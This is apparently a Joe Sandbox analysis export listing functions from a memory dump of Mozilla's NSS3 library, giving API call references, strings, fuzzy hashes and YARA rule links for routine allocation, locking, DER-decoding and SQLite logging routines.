
Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$ListSlotUpdatefreestrlen
String ID:
API String ID: 3150690610-0
Opcode ID: 217ac5f4accb2a9082b8a0e601630f69e14b347a3555558e42de0364f86ad9de
Instruction ID: 520ec13c216b76f68ce21311cb7496e00455c3b70aa13ac6edd322f112b8f9fc
Opcode Fuzzy Hash: 217ac5f4accb2a9082b8a0e601630f69e14b347a3555558e42de0364f86ad9de
Instruction Fuzzy Hash: 9C21E7B1D046449FDF109FA8EC45AEEB7B4EF09308F540029D94AA7700FB32AA59CBD5

Function 6CB57F50 Relevance: 9.1, APIs: 6, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CB57F68

Part of subcall function 6CBB0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CB587ED,00000800,6CB4EF74,00000000), ref: 6CBB1000
Part of subcall function 6CBB0FF0: PR_NewLock.NSS3(?,00000800,6CB4EF74,00000000), ref: 6CBB1016
Part of subcall function 6CBB0FF0: PL_InitArenaPool.NSS3(00000000,security,6CB587ED,00000008,?,00000800,6CB4EF74,00000000), ref: 6CBB102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000002C), ref: 6CB57F7B

Part of subcall function 6CBB10C0: TlsGetValue.KERNEL32(?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB10F3
Part of subcall function 6CBB10C0: EnterCriticalSection.KERNEL32(?,?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB110C
Part of subcall function 6CBB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB1141
Part of subcall function 6CBB10C0: PR_Unlock.NSS3(?,?,?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB1182
Part of subcall function 6CBB10C0: TlsGetValue.KERNEL32(?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CB57FA7

Part of subcall function 6CBAFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CBA8D2D,?,00000000,?), ref: 6CBAFB85
Part of subcall function 6CBAFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CBAFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CC7919C,?), ref: 6CB57FBB

Part of subcall function 6CBAB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CC818D0,?), ref: 6CBAB095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CB57FCA
SEC_QuickDERDecodeItem_Util.NSS3(00000000,-00000004,6CC7915C,00000014), ref: 6CB57FFE

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_Arena_DecodeQuickValue$AllocateCopyCriticalEnterErrorFreeInitLockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1489184013-0
Opcode ID: f5fe1ba5cd3370825df4690f114d0aa068fed63fbde25cced059f1de158c8269
Instruction ID: e596367aad325f109a2fc30b5b7d43f650482daa193cbf840aa5b822d814393a
Opcode Fuzzy Hash: f5fe1ba5cd3370825df4690f114d0aa068fed63fbde25cced059f1de158c8269
Instruction Fuzzy Hash: 211157B1E043C45BFA20DE25AC44FBB72ACDF4464CF40062DEC59E2B41FB61A418C2B2

Function 6CB5BE50 Relevance: 9.1, APIs: 6, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,6CBDDC29,?), ref: 6CB5BE64

Part of subcall function 6CBB0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CB587ED,00000800,6CB4EF74,00000000), ref: 6CBB1000
Part of subcall function 6CBB0FF0: PR_NewLock.NSS3(?,00000800,6CB4EF74,00000000), ref: 6CBB1016
Part of subcall function 6CBB0FF0: PL_InitArenaPool.NSS3(00000000,security,6CB587ED,00000008,?,00000800,6CB4EF74,00000000), ref: 6CBB102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C,?,6CBDDC29,?), ref: 6CB5BE78

Part of subcall function 6CBB10C0: TlsGetValue.KERNEL32(?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB10F3
Part of subcall function 6CBB10C0: EnterCriticalSection.KERNEL32(?,?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB110C
Part of subcall function 6CBB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB1141
Part of subcall function 6CBB10C0: PR_Unlock.NSS3(?,?,?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB1182
Part of subcall function 6CBB10C0: TlsGetValue.KERNEL32(?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB119C

PORT_ArenaAlloc_Util.NSS3(00000000,?,?,?,?,6CBDDC29,?), ref: 6CB5BE96

Part of subcall function 6CBB10C0: PL_ArenaAllocate.NSS3(?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB116E

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,?,6CBDDC29,?), ref: 6CB5BEBB

Part of subcall function 6CBAFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CBA8D2D,?,00000000,?), ref: 6CBAFB85
Part of subcall function 6CBAFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CBAFBB1

PR_SetError.NSS3(FFFFE013,00000000,?,6CBDDC29,?), ref: 6CB5BEDF
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,6CBDDC29,?), ref: 6CB5BEF3

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_Value$CopyCriticalEnterErrorFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 3111646008-0
Opcode ID: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction ID: 35b48314f9bf45aac1d9de9e477d15d142ab866e0e782be4b7273361795f82bb
Opcode Fuzzy Hash: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction Fuzzy Hash: 6211B771F002855BEB008F659D45FBE37A8EF41258F580428ED08EB780EB71D919C7A1

Function 6CBE3C80 Relevance: 9.1, APIs: 6, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6CBE5B40: PR_GetIdentitiesLayer.NSS3 ref: 6CBE5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBE3D3F

Part of subcall function 6CB5BA90: PORT_NewArena_Util.NSS3(00000800,6CBE3CAF,?), ref: 6CB5BABF
Part of subcall function 6CB5BA90: PORT_ArenaAlloc_Util.NSS3(00000000,00000010,?,6CBE3CAF,?), ref: 6CB5BAD5
Part of subcall function 6CB5BA90: PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,6CBE3CAF,?), ref: 6CB5BB08
Part of subcall function 6CB5BA90: memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CBE3CAF,?), ref: 6CB5BB1A
Part of subcall function 6CB5BA90: SECITEM_CopyItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,6CBE3CAF,?), ref: 6CB5BB3B

PR_EnterMonitor.NSS3(?), ref: 6CBE3CCB

Part of subcall function 6CC19090: TlsGetValue.KERNEL32 ref: 6CC190AB
Part of subcall function 6CC19090: TlsGetValue.KERNEL32 ref: 6CC190C9
Part of subcall function 6CC19090: EnterCriticalSection.KERNEL32 ref: 6CC190E5
Part of subcall function 6CC19090: TlsGetValue.KERNEL32 ref: 6CC19116
Part of subcall function 6CC19090: LeaveCriticalSection.KERNEL32 ref: 6CC1913F

PR_EnterMonitor.NSS3(?), ref: 6CBE3CE2
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CBE3CF8
PR_ExitMonitor.NSS3(?), ref: 6CBE3D15
PR_ExitMonitor.NSS3(?), ref: 6CBE3D2E

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Util$Monitor$EnterValue$Alloc_ArenaArena_CriticalExitSection$CopyErrorFreeIdentitiesItem_LayerLeavememset
String ID:
API String ID: 4030862364-0
Opcode ID: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction ID: 687f8c82fd8b825fcc3158fe3e3b24ee72e6b92df4be56cc535888582e177814
Opcode Fuzzy Hash: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction Fuzzy Hash: 7B110875A106906FE7205E66EC417DFB2E5EB15A88F504534E41A87B30F732F819C652

Function 6CBAFDF0 Relevance: 9.1, APIs: 6, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6CBAFE08

Part of subcall function 6CBB10C0: TlsGetValue.KERNEL32(?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB10F3
Part of subcall function 6CBB10C0: EnterCriticalSection.KERNEL32(?,?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB110C
Part of subcall function 6CBB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB1141
Part of subcall function 6CBB10C0: PR_Unlock.NSS3(?,?,?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB1182
Part of subcall function 6CBB10C0: TlsGetValue.KERNEL32(?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB119C

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6CBAFE1D

Part of subcall function 6CBB10C0: PL_ArenaAllocate.NSS3(?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB116E

PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6CBAFE29
PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6CBAFE3D
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6CBAFE62
free.MOZGLUE(00000000,?,?,?,?), ref: 6CBAFE6F

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil$AllocateValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 660648399-0
Opcode ID: cb074babd76ec94e5f018e86c7f8d602684b947f51d542f73f1bc5554b16de34
Instruction ID: 47d1a91dfd6df85b5bb0505ec0df511a9164f3f126166d16261b684b74f3a9c6
Opcode Fuzzy Hash: cb074babd76ec94e5f018e86c7f8d602684b947f51d542f73f1bc5554b16de34
Instruction Fuzzy Hash: 6011CCB66042856BEF004FD5EC40BAB7398EF54399F148034E95D97B12EB31D915C792

Function 6CC5FD90 Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

PR_Lock.NSS3 ref: 6CC5FD9E

Part of subcall function 6CC19BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CB41A48), ref: 6CC19BB3
Part of subcall function 6CC19BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CB41A48), ref: 6CC19BC8

PR_WaitCondVar.NSS3(000000FF), ref: 6CC5FDB9

Part of subcall function 6CB3A900: TlsGetValue.KERNEL32(00000000,?,6CCB14E4,?,6CAD4DD9), ref: 6CB3A90F
Part of subcall function 6CB3A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6CB3A94F

PR_Unlock.NSS3 ref: 6CC5FDD4
PR_Lock.NSS3 ref: 6CC5FDF2
PR_NotifyAllCondVar.NSS3 ref: 6CC5FE0D
PR_Unlock.NSS3 ref: 6CC5FE23

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CondLockUnlockValue$CriticalEnterNotifySectionWait
String ID:
API String ID: 3365241057-0
Opcode ID: 7cbb00eeb030dbd914b9d290656d914dd14239d3669c92b0dd5e4e68eaf79ebd
Instruction ID: 2f494ed15dffcd84ba5ecda28d4b64f1d47c513381960d952852154c6e1e6a89
Opcode Fuzzy Hash: 7cbb00eeb030dbd914b9d290656d914dd14239d3669c92b0dd5e4e68eaf79ebd
Instruction Fuzzy Hash: 8F0165B6A145515FDF184F6AFC00856B631FB022687154374E82547FE1F722DD38DA85

Function 6CB3AE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB3AFDA

Strings

misuse, xrefs: 6CB3AFCE
unable to delete/modify collation sequence due to active statements, xrefs: 6CB3AF5C
%s at line %d of [%.10s], xrefs: 6CB3AFD3
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB3AFC4

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: e2372789ef00c7b4f83afe87fcda363382357aef2413e806a640dc2504a72795
Instruction ID: 446084e7f95023c105605cd209ed5da4b4cac6f1616de8340e127b596e16eeb3
Opcode Fuzzy Hash: e2372789ef00c7b4f83afe87fcda363382357aef2413e806a640dc2504a72795
Instruction Fuzzy Hash: B691E175A052A58FDF04CF99C890BAAB7F1EF45314F2950A8E869AB791D334EC01CF61

Function 6CB9FC30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,pkcs11:,00000007), ref: 6CB9FC55
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CB9FCB2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CB9FDB7
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6CB9FDDE

Part of subcall function 6CBA8800: TlsGetValue.KERNEL32(?,6CBB085A,00000000,?,6CB58369,?), ref: 6CBA8821
Part of subcall function 6CBA8800: TlsGetValue.KERNEL32(?,?,6CBB085A,00000000,?,6CB58369,?), ref: 6CBA883D
Part of subcall function 6CBA8800: EnterCriticalSection.KERNEL32(?,?,?,6CBB085A,00000000,?,6CB58369,?), ref: 6CBA8856
Part of subcall function 6CBA8800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6CBA8887
Part of subcall function 6CBA8800: PR_Unlock.NSS3(?,?,?,?,6CBB085A,00000000,?,6CB58369,?), ref: 6CBA8899

Strings

pkcs11:, xrefs: 6CB9FC4F

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: ErrorValue$CondCriticalEnterL_strncasecmpSectionUnlockWaitstrcmp
String ID: pkcs11:
API String ID: 362709927-2446828420
Opcode ID: 96a1763790f0c30d6ad38a5baa57cfded3f5f649160deec917ce70199824e492
Instruction ID: b9906fc054fc5137c7fbbb825bade421d2541ac3ce1eb9b379e91dae14bd53b9
Opcode Fuzzy Hash: 96a1763790f0c30d6ad38a5baa57cfded3f5f649160deec917ce70199824e492
Instruction Fuzzy Hash: 4F51D3B1A041E19BEB008FA99C40B5E7775EF42369F250035FD156BF61EB31E905CBA2

Function 6CADBDA0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 94COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(00000000,?,?), ref: 6CADBE02

Part of subcall function 6CC09C40: memcmp.VCRUNTIME140(?,00000000,6CADC52B), ref: 6CC09D53

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014A8E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CADBE9F

Strings

%s at line %d of [%.10s], xrefs: 6CADBE98
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CADBE89
database corruption, xrefs: 6CADBE93

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: memcmp$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1135338897-598938438
Opcode ID: 412c1d5484d459cbb24eaa91fa80bd73acd1a431e60f2ca98615da6ae0022130
Instruction ID: 96d886f971f86a3e1212fb96583756db4bb0a84c43ad25d1394ab451d6d9a07b
Opcode Fuzzy Hash: 412c1d5484d459cbb24eaa91fa80bd73acd1a431e60f2ca98615da6ae0022130
Instruction Fuzzy Hash: 65312531A042568BC700CF69E894AABBBB2BF45314B1E8654EE541BB41DB71FC85C7D0

Function 6CB40DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6CB40BDE), ref: 6CB40DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6CB40BDE), ref: 6CB40DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6CB40BDE), ref: 6CB40DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6CB40BDE), ref: 6CB40E32

Strings

%s incr => %d (find lib), xrefs: 6CB40E2D

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: a287d4871a77d1bf0227302c384d661912d52155f004c812f61b6ffff544e13b
Instruction ID: f3440c63e017928c78bcb8258384306a0b688a9f159fac7380296025500630c1
Opcode Fuzzy Hash: a287d4871a77d1bf0227302c384d661912d52155f004c812f61b6ffff544e13b
Instruction Fuzzy Hash: AC012871B406609FE7109F65AC85E2773FCDB45709B04842DD905D7A41F761EC1487E1

Function 6CAE9C60 Relevance: 7.8, APIs: 6, Instructions: 262COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CAE9CF2
LeaveCriticalSection.KERNEL32(?), ref: 6CAE9D45
EnterCriticalSection.KERNEL32(?), ref: 6CAE9D8B
LeaveCriticalSection.KERNEL32(?), ref: 6CAE9DDE

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: a105a8272af636b5ac09c4cdc03cfbf2f8e786afaf106d7c50255a5d5df93fcb
Instruction ID: 53c3efdd13ff9103f504b4a2992634652bf1fa3255217691264631081de3d58f
Opcode Fuzzy Hash: a105a8272af636b5ac09c4cdc03cfbf2f8e786afaf106d7c50255a5d5df93fcb
Instruction Fuzzy Hash: F7A192717042008FDB08EFB5FA997AE3775AB8A315F18012DD51647B40DB3A9886EBC6

Function 6CB71E70 Relevance: 7.7, APIs: 5, Instructions: 207COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(?), ref: 6CB71ECC

Part of subcall function 6CC19090: TlsGetValue.KERNEL32 ref: 6CC190AB
Part of subcall function 6CC19090: TlsGetValue.KERNEL32 ref: 6CC190C9
Part of subcall function 6CC19090: EnterCriticalSection.KERNEL32 ref: 6CC190E5
Part of subcall function 6CC19090: TlsGetValue.KERNEL32 ref: 6CC19116
Part of subcall function 6CC19090: LeaveCriticalSection.KERNEL32 ref: 6CC1913F

TlsGetValue.KERNEL32 ref: 6CB71EDF
EnterCriticalSection.KERNEL32(?), ref: 6CB71EEF
PR_ExitMonitor.NSS3(?), ref: 6CB71F37
PR_Unlock.NSS3(?), ref: 6CB71F44

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSection$Monitor$ExitLeaveUnlock
String ID:
API String ID: 3539092540-0
Opcode ID: d74ea5c1af2489f1e2179b38ef1e21bd4def835fc0cc0bf50bfc9aac15a6df94
Instruction ID: 2ad41db5d77e252a4c3644fbaeed244850fcae2bbeef67f5723ea7e4e46c8dac
Opcode Fuzzy Hash: d74ea5c1af2489f1e2179b38ef1e21bd4def835fc0cc0bf50bfc9aac15a6df94
Instruction Fuzzy Hash: 3B71BD719043819FDB20CF25D840A5AB7F5FF88358F184929ECA997B10E731E959CBA2

Function 6CBFDD70 Relevance: 7.7, APIs: 5, Instructions: 179COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CBFDD8C
LeaveCriticalSection.KERNEL32(00000000), ref: 6CBFDDB4
